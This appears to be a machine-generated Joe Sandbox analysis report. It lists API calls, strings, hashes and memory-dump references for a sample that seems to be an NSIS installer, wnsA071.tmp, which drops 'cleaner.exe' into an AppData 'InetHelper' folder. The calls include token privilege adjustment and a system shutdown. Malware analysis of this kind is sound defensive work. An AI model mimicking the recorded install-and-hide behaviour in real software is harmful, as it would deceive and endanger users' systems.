Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: f29d77152debfc2f8eafed337615e021f7e67407580bf3ec3e672dc6c6bff7a2
Instruction ID: a9fd8e7424b13587cd35032d215a1d89fbac663ae3453232f98676018de665d0
Opcode Fuzzy Hash: f29d77152debfc2f8eafed337615e021f7e67407580bf3ec3e672dc6c6bff7a2
Instruction Fuzzy Hash: 0D110032618B82C2EB119F25E44029AB7A5FB84B94F9C4235EECD07758DF3DDA518B14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA2C88 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF75FBA2B8B,?,?,?,00007FF75FB9BDA6,?,?,?), ref: 00007FF75FBA2C8F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF75FBA2B8B,?,?,?,00007FF75FB9BDA6,?,?,?), ref: 00007FF75FBA2C9A

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF75FBA2CA4

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ErrorLastObjectSingleWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1211598281-2248577382
Opcode ID: e86905edea1ff1312e1e5010d920059bceae7f9a29b5ec9c9f75170627a4ed9e
Instruction ID: e21731753bf965ec08944c24d8aa13f214096b1c7a2a1f17da5b941d3255a11d
Opcode Fuzzy Hash: e86905edea1ff1312e1e5010d920059bceae7f9a29b5ec9c9f75170627a4ed9e
Instruction Fuzzy Hash: 47E01A21E09886C1FB00BB359C915E6A261AF51730FE84331C07D826E19F2CA445C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9F9A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF75FB9EFDE), ref: 00007FF75FB9F9AF
FindResourceW.KERNEL32(?,?,?,00007FF75FB9EFDE), ref: 00007FF75FB9F9C5

Strings

RTL, xrefs: 00007FF75FB9F9BB

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: RTL
API String ID: 3537982541-834975271
Opcode ID: 576d5e6c6381f79c549a6baf7b7f5f9973be6c1af48ec972e7550f1965791ab8
Instruction ID: 9ca7fd1ae0d0f1c84a7ab517d1f97421e61d617e8c1b43f80933fedc37eb99e5
Opcode Fuzzy Hash: 576d5e6c6381f79c549a6baf7b7f5f9973be6c1af48ec972e7550f1965791ab8
Instruction Fuzzy Hash: 0BD01751F0A6C6C2FF196B71A8457B752906B28B41E8C0038C90D0A394EF2CD088C725

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wnsA071.tmpPID: 8912, Parent PID: 7608COMMON

Execution Graph

Execution Coverage:	16.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.6%
Total number of Nodes:	1366
Total number of Limit Nodes:	26

Executed Functions

Function 004034A5 Relevance: 79.2, APIs: 33, Strings: 12, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004366E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,004C1000,00000020,004C1000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00002000,004D5000,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(004D5000,00001FFB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(004D5000,\Temp), ref: 00403705
GetTempPathW.KERNEL32(00001FFC,004D5000,004D5000,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(004D5000,Low), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,004D5000,004D5000,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,004D5000,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(004D1000,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00002000,00403576,00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

ExitProcess.KERNEL32(00000006,?,00000006,00000008,0000000A), ref: 00403814
OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(004D5000,~nsu), ref: 0040384D
lstrcatW.KERNEL32(004D5000,0040A328), ref: 0040385C
lstrcatW.KERNEL32(004D5000,.tmp), ref: 00403867
lstrcmpiW.KERNEL32(004D5000,004CD000,004D5000,.tmp,004D5000,~nsu,004C1000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(004D5000,004D5000,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(004326E8,004326E8,?,00471000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(004DD000,004326E8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,004326E8,004326E8,?,004326E8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

TMP, xrefs: 00403735
.tmp, xrefs: 00403861
NSIS Error, xrefs: 00403567
&C, xrefs: 004038D2
SeShutdownPrivilege, xrefs: 0040396F
Error launching installer, xrefs: 004037D0
TEMP, xrefs: 0040372D
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
Low, xrefs: 0040371B
~nsu, xrefs: 00403845
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
\Temp, xrefs: 004036FF

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Processlstrcat$ExitFile$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu$&C
API String ID: 424501083-3710082758
Opcode ID: e783125dba734ed597e1940b01dc1cab2e95ffc2bcbea3dcea6e2450cdaed4c7
Instruction ID: a55e1ba19ca46540f0e819ab7f1242b390505e394ddfc82397b04f5546c7078a
Opcode Fuzzy Hash: e783125dba734ed597e1940b01dc1cab2e95ffc2bcbea3dcea6e2450cdaed4c7
Instruction Fuzzy Hash: 63D1D671600310AAD7206F769D49B3B3AACEB4074AF10443FF985B62D2DBBD8D45876E

Uniqueness

Uniqueness Score: -1.00%

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,?,004D5000,74DF2EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00456730,\*.*), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00456730,?,?,004D5000,74DF2EE0,00000000), ref: 00405B94
FindFirstFileW.KERNELBASE(00456730,?,?,?,0040A014,?,00456730,?,?,004D5000,74DF2EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

\*.*, xrefs: 00405B65
0gE, xrefs: 00405B53

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0gE$\*.*
API String ID: 2035342205-2711052210
Opcode ID: 3334b6062cde555aafe81a7f2d70c90e4ee62922905af9c316e4bc959eba850f
Instruction ID: db7c1e1462c3060b38713ca1582bdc14a6091e72a68d91c70f93002fb38cedfa
Opcode Fuzzy Hash: 3334b6062cde555aafe81a7f2d70c90e4ee62922905af9c316e4bc959eba850f
Instruction Fuzzy Hash: 7941F230805B18A6EB20AB618C89BAF7778DF41718F10813BF805711D2D77C59C28EAE

Uniqueness

Uniqueness Score: -1.00%

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004D5000,0045E778,0045A730,00405E0E,0045A730,0045A730,00000000,0045A730,0045A730,004D5000,?,74DF2EE0,00405B1A,?,004D5000,74DF2EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xE, xrefs: 0040672C

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xE
API String ID: 2295610775-407097786
Opcode ID: c38ed24b0f8540a8630b6e30e0d29a5f0a32ff0f94a31cb594348fc3b8955e5f
Instruction ID: fc51c24eb8738f718e6fd544cb5c99b56e4f1c2878dc56694a5fb172fd41157c
Opcode Fuzzy Hash: c38ed24b0f8540a8630b6e30e0d29a5f0a32ff0f94a31cb594348fc3b8955e5f
Instruction Fuzzy Hash: 83D012315150205BD2011738AD4C85B7A589F153367218B37B866F61E0C7348C62869C

Uniqueness

Uniqueness Score: -1.00%

Function 00403AD8 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetUserDefaultUILanguage.KERNELBASE(00000002,004D5000,74DF3420,004C1000,00000000), ref: 00403AF2

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

lstrcatW.KERNEL32(004D1000,00446728), ref: 00403B59
lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",?,?,?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00000000,004C5000,004D1000,00446728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00446728,00000000,00000002,004D5000), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",?,?,?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00000000,004C5000,004D1000,00446728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00446728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32("C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C5000), ref: 00403C40
RegisterClassW.USER32(004681E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004681E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004681E0), ref: 00403D39
RegisterClassW.USER32(004681E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEdit20W, xrefs: 00403D24, 00403D2A
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
RichEdit, xrefs: 00403D33
RichEd20, xrefs: 00403D06
RichEd32, xrefs: 00403D14
.exe, xrefs: 00403BE6
.DEFAULT\Control Panel\International, xrefs: 00403B44
(gD, xrefs: 00403B04
"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
_Nb, xrefs: 00403C5C, 00403CC4

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"$(gD$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-2529400235
Opcode ID: 0a001c7189d7d63785f1ec2c4194aaaeaf8e16c765d4c7e048e7af561835fdd7
Instruction ID: 53e884cc7334fa84a1d96ccc45fe83da0addadf9397a6dbc28c3941536bb6224
Opcode Fuzzy Hash: 0a001c7189d7d63785f1ec2c4194aaaeaf8e16c765d4c7e048e7af561835fdd7
Instruction Fuzzy Hash: E361D631200700BAD320AF669E49F2B3B6CEB8574AF00417FF945B22E2DB7D9D41866D

Uniqueness

Uniqueness Score: -1.00%

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,004DD000,00002000), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,004DD000,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,004E1000,00000000,004CD000,004CD000,004DD000,004DD000,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
*:o, xrefs: 004031B5
Null, xrefs: 00403029
Inst, xrefs: 00403017
soft, xrefs: 00403020
Error launching installer, xrefs: 00402F80
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
HA, xrefs: 004030F6

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: *:o$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$HA$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-1291305336
Opcode ID: e6cc7feb225d5f91d4cb60b2c7bd5eae8f554926f74471ae7b4f53b82ba7c1c2
Instruction ID: d25a53c4d11647cbbad2ea8e7a2610e0d6e301d01d0d9af5663e5c20e349ab0e
Opcode Fuzzy Hash: e6cc7feb225d5f91d4cb60b2c7bd5eae8f554926f74471ae7b4f53b82ba7c1c2
Instruction Fuzzy Hash: E8610331D01205ABDB209FA4DD85B9E7BA8AB04316F24417BF904F72D1D77C8E808B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32("C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00002000), ref: 0040654B
GetWindowsDirectoryW.KERNEL32("C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00002000,00000000,0043E708,?,00405487,0043E708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,0043E708,?,00405487,0043E708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32("C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00000000,0043E708,?,00405487,0043E708,00000000), ref: 00406631

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.0000000000412000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2141110655.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_wnsA071.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-2610422173
Opcode ID: 23f28206d8b90664ce3613e71128f54d67ce4c932df2e69045dd5148352027ec
Instruction ID: 4ff03c26a92b18a500a2dba0a5346c99a5613c7aa05bf40b8fc1f2faf6c00e92
Opcode Fuzzy Hash: 23f28206d8b90664ce3613e71128f54d67ce4c932df2e69045dd5148352027ec
Instruction Fuzzy Hash: 59612271A00101ABDF209F64DD85AAE37A5AF50314F22813FE507BA2D1EB3D8EA1C75D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,InetHelper,InetHelper,00000000,00000000,InetHelper,004C9000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00002000,00403576,00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", xrefs: 00401821, 0040183F
InetHelper, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 0000000D.00000002.2140886037.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2140858467.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140905208.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.2140970835.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
